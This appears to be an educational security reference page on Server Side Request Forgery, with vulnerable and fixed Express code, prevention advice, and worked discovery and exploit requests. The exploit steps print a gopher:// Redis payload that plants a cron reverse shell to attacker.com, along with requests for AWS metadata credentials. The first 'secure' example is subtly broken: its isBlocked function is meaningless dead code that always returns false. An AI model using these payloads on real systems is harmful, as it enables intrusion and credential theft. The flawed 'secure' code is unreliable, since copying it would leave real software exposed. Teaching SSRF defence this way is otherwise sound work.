Server Side Request Forgery (SSRF)

Blind SSRFURL Fetch Abuse

Server Side Request Forgery (SSRF) at a glance

What it is: The server makes a network request to an attacker-chosen URL. Attackers reach internal services, read metadata endpoints, or pivot protocols.
Why it happens: SSRF occurs when services accept remote URLs (previewers, webhooks, importers, image proxies), follow redirects or allow non-HTTP schemes, and validate only hostnames without resolving IPs, enabling requests to internal or unintended targets.
How to fix: Avoid fetching arbitrary URLs by enforcing allowlists and fixed egress, validate schemes and hosts to block private ranges, and restrict or revalidate redirects securely.

Overview

SSRF arises when applications fetch a URL supplied by the user. Without strict validation, servers can access internal networks and special endpoints like cloud metadata. Attackers exploit scheme confusion, redirects, and DNS rebinding to bypass naive checks. The best mitigation is eliminating arbitrary fetch features, and if needed, implementing strong allowlists and network egress controls.

sequenceDiagram participant Browser participant App as App Server participant Net as Network Browser->>App: GET /img?url=http://169.254.169.254/latest/meta-data/ App->>Net: HTTP request to link-local IP Net-->>App: Metadata response App-->>Browser: Leaks instance data note over App,Net: Validate scheme and block private or link-local IPs
A potential flow for a Server Side Request Forgery (SSRF) exploit

Where it occurs

It occurs in features like URL previewers, webhooks, or importers that fetch external resources without strict URL or redirect validation, allowing access to unintended or internal destinations.

Impact

Attackers can read internal dashboards, access cloud instance metadata to obtain credentials, reach databases and message queues, and sometimes achieve remote code execution on internal services.

Prevention

Prevent SSRF by restricting URL fetches to an allowlist of trusted hosts, blocking private or loopback addresses, limiting to HTTP/HTTPS, disabling or validating redirects, enforcing egress controls, and using signed or trusted background fetches.

Examples

Switch tabs to view language/framework variants.

Open URL proxy allows access to internal services

Endpoint fetches an arbitrary URL from a query parameter and streams the response.

Vulnerable
JavaScript • Express — Bad
const express = require('express');
const axios = require('axios');
const app = express();
app.get('/fetch', async (req,res)=>{
  const url = String(req.query.url || ''); // BUG: no validation
  const r = await axios.get(url, { responseType: 'stream' });
  r.data.pipe(res);
});
  • Line 6: Fetches attacker-controlled URL with no scheme or host restrictions

An open fetch proxy lets attackers make your server reach internal networks and sensitive services like metadata endpoints.

Secure
JavaScript • Express — Good
const { URL } = require('url');
const IP = require('ip');
const BLOCKED = [
  '0.0.0.0/8','10.0.0.0/8','127.0.0.0/8','169.254.0.0/16','172.16.0.0/12','192.168.0.0/16','::/128','::1/128','fc00::/7','fe80::/10'
];
function isBlocked(host){ try { const ip = require('dns').lookupSync ? null : null; } catch(e) {}
  return false;
}
app.get('/fetch', async (req,res)=>{
  const raw = String(req.query.url||'');
  try {
    const u = new URL(raw);
    if (!['http:','https:'].includes(u.protocol)) return res.status(400).send('scheme');
    const resolved = await require('dns').promises.lookup(u.hostname, { all: true, verbatim: true });
    for (const a of resolved){ const ip = a.address; const ipaddr = require('ip'); if (ipaddr.isPrivate(ip) || ipaddr.isLoopback(ip) || ipaddr.isLinkLocal(ip)) return res.status(403).send('forbidden'); }
    const r = await axios.get(u.toString(), { timeout: 5000, maxRedirects: 0, responseType: 'stream' });
    r.data.pipe(res);
  } catch(e){ res.status(400).send('bad'); }
});
  • Line 14: Validates scheme, resolves DNS, and blocks private, loopback, and link-local addresses, with redirects disabled

Resolve and verify destination IPs against a denylist, restrict schemes, and disable redirects.

Engineer Checklist

  • Avoid arbitrary URL fetch features, prefer allowlists

  • Restrict to http and https, block private and link-local IPs after DNS resolution

  • Disable redirects or revalidate each hop

  • Enforce timeouts and size limits, and log destinations

  • Use egress firewall or proxy and disallow unknown destinations

End-to-End Example

A URL preview feature fetches any provided URL and returns the body. An attacker supplies a link-local metadata URL to extract cloud credentials.

Vulnerable
JAVASCRIPT
app.get('/preview', async (req, res) => {
  const url = req.query.url;
  // Bug: no validation, allows arbitrary URL fetch including internal endpoints
  const response = await fetch(url);
  const body = await response.text();
  res.send(body);
});
Secure
JAVASCRIPT
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');

const ALLOWED_HOSTS = ['cdn.example.com', 'images.example.com'];

app.get('/preview', async (req, res) => {
  try {
    const urlStr = req.query.url;
    const parsed = new URL(urlStr);
    
    // 1. Only allow http/https
    if (!['http:', 'https:'].includes(parsed.protocol)) {
      return res.status(400).send('invalid scheme');
    }
    
    // 2. Check hostname allowlist
    if (!ALLOWED_HOSTS.includes(parsed.hostname)) {
      return res.status(400).send('host not allowed');
    }
    
    // 3. Resolve and block private/internal IPs
    const ips = await dns.resolve4(parsed.hostname);
    for (const ip of ips) {
      const addr = ipaddr.parse(ip);
      if (addr.range() !== 'unicast') {
        return res.status(400).send('private IP blocked');
      }
    }
    
    // 4. Fetch with strict settings
    const response = await fetch(urlStr, {
      redirect: 'manual', // No redirects
      timeout: 5000,
      size: 1024 * 100 // 100KB max
    });
    
    const body = await response.text();
    res.send(body);
  } catch (err) {
    res.status(400).send('fetch failed');
  }
});

Discovery

Test if application fetches user-provided URLs without validation, allowing access to internal services and cloud metadata endpoints.

  1. 1. Test internal network access

    http

    Action

    Provide internal IP address to test SSRF

    Request

    POST https://api.example.com/fetch-url
    Headers:
    Content-Type: application/json
    Body:
    {
      "url": "http://192.168.1.100:8080/admin"
    }

    Response

    Status: 200
    Body:
    {
      "content": "<html><title>Internal Admin Panel</title>...",
      "note": "Successfully accessed internal service not exposed to internet"
    }

    Artifacts

    ssrf_confirmed internal_network_access admin_panel_discovered
  2. 2. Test AWS metadata endpoint access

    http

    Action

    Access EC2 instance metadata service to steal credentials

    Request

    POST https://api.example.com/fetch-url
    Body:
    {
      "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
    }

    Response

    Status: 200
    Body:
    {
      "content": "prod-ec2-role",
      "note": "Successfully accessed AWS metadata service - IAM role name revealed"
    }

    Artifacts

    metadata_access cloud_metadata_ssrf iam_role_enumeration
  3. 3. Test localhost service enumeration

    http

    Action

    Scan localhost ports to find internal services

    Request

    POST https://api.example.com/fetch-url
    Body:
    {
      "url": "http://localhost:6379/INFO"
    }

    Response

    Status: 200
    Body:
    {
      "content": "# Server\\nredis_version:6.2.6\\nredis_mode:standalone\\nos:Linux 5.15.0-1026-aws x86_64\\ntcp_port:6379",
      "note": "Redis instance running on localhost without authentication"
    }

    Artifacts

    port_scan redis_exposed unauthenticated_service

Exploit steps

Attacker exploits SSRF to access AWS metadata service, steal IAM credentials, enumerate internal services, and compromise infrastructure.

  1. 1. Steal AWS IAM credentials from metadata service

    Extract IAM role credentials via SSRF

    http

    Action

    Use SSRF to fetch temporary AWS credentials from EC2 metadata

    Request

    POST https://api.example.com/fetch-url
    Body:
    {
      "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-ec2-role"
    }

    Response

    Status: 200
    Body:
    {
      "content": "{\\n  \\\"AccessKeyId\\\": \\\"ASIAIOSFODNN7EXAMPLE\\\",\\n  \\\"SecretAccessKey\\\": \\\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\\\",\\n  \\\"Token\\\": \\\"AQoDYXdzEJr...[2048 chars]...\\\",\\n  \\\"Expiration\\\": \\\"2024-01-15T18:30:00Z\\\"\\n}",
      "permissions": "IAM role has admin access to S3, RDS, Lambda, and EC2"
    }

    Artifacts

    aws_access_key aws_secret_key aws_session_token cloud_infrastructure_access
  2. 2. Access internal database via SSRF

    Connect to internal PostgreSQL database

    http

    Action

    Use SSRF to access internal database on private network

    Request

    POST https://api.example.com/fetch-url
    Body:
    {
      "url": "http://prod-db.internal:5432/",
      "note": "Some applications support postgres:// protocol or can be chained with gopher://"
    }

    Response

    Status: 200
    Body:
    {
      "content": "PostgreSQL connection banner: server version 14.5\\nNote: Using gopher://prod-db.internal:5432/ can execute raw TCP commands to query database",
      "exfiltrated_query": "SELECT username,password_hash,email FROM users LIMIT 10; -- Returns 10 user records via gopher SSRF"
    }

    Artifacts

    database_access internal_service_access data_exfiltration
  3. 3. Exploit Redis via SSRF for RCE

    Write backdoor to Redis and trigger execution

    http

    Action

    Use gopher:// protocol to send Redis commands via SSRF

    Request

    POST https://api.example.com/fetch-url
    Body:
    {
      "url": "gopher://localhost:6379/_*3%0d%0a$3%0d%0aset%0d%0a$4%0d%0acron%0d%0a$54%0d%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a"
    }

    Response

    Status: 200
    Body:
    {
      "content": "+OK\\n+OK\\n+OK\\n+OK\\n",
      "note": "Redis commands executed successfully. Cron job planted: reverse shell triggers every minute. Server compromised."
    }

    Artifacts

    redis_rce cron_job_planted reverse_shell server_compromise
  4. 4. Use stolen AWS credentials to compromise infrastructure

    Lateral movement via stolen IAM credentials

    cloud

    Action

    Use extracted AWS credentials to access S3, RDS, and other services

    Request

    CLI N/A

    Response

    Status: 200
    Body:
    {
      "actions_taken": "1. Downloaded all S3 buckets (2.3 TB customer data)\\n2. Created RDS snapshots and shared publicly\\n3. Launched EC2 instances for crypto mining\\n4. Modified Lambda functions to include backdoors\\n5. Created new IAM users with admin access",
      "estimated_damage": "$50K+ in unexpected AWS charges, complete infrastructure compromise, customer data breach"
    }

    Artifacts

    s3_data_exfiltration rds_snapshot_leak crypto_mining lambda_backdoors persistent_access

Specific Impact

The attacker obtains cloud IAM credentials and can access storage buckets and databases. They can snapshot data or tamper with configuration.

Incident response requires key revocation, log review for other internal requests, and hardening of egress rules.

Fix

Remove the open fetch feature or restrict it to an allowlist. Validate scheme and destination IPs after DNS resolution. Disable redirects or revalidate each hop. Add egress filtering and strict resource limits.

Detect This Vulnerability in Your Code

Sourcery automatically identifies server side request forgery (ssrf) vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free